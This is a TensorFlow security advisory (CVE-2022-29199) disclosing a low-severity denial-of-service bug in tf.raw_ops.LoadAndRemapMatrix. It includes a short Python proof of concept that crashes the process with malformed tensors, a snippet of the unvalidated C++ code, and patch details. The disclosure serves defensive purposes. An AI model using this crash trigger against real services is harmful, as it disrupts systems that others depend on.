Missing validation causes denial of service via `LoadAndRemapMatrix`

Low **mihaimaruseac** published **GHSA-p9rc-rmr5-529j** on May 17

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.9.0	2.6.4, 2.7.2, 2.8.1, 2.9.0

Description

Impact

The implementation of `tf.raw_ops.LoadAndRemapMatrix` does not fully validate the input arguments. This results in a `CHECK` -failure which can be used to trigger a denial of service attack:

```
import tensorflow as tf

ckpt_path = tf.constant(
    "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)
old_tensor_name = tf.constant(
    "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)

row_remapping = tf.constant(0, shape=[], dtype=tf.int64)
col_remapping = tf.constant(3, shape=[3], dtype=tf.int64)
initializing_values = tf.constant([], shape=[0, 1], dtype=tf.float32)

tf.raw_ops.LoadAndRemapMatrix(
  ckpt_path=ckpt_path,
  old_tensor_name=old_tensor_name,
  row_remapping=row_remapping,
  col_remapping=col_remapping,
  initializing_values=initializing_values,
  num_rows=1,
  num_cols=1)
```

The code assumes `initializing_values` is a vector but there is no validation for this before accessing its value:

```
OP_REQUIRES_OK(context, context->input("row_remapping", &row_remapping_t));
const auto row_remapping = row_remapping_t->vec<int64_t>();
```

Patches

We have patched the issue in GitHub commit 3150642acbbe254e3c3c5d2232143fa591855ac9.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

Severity

Low

CVE ID

CVE-2022-29199

Weaknesses

No CWEs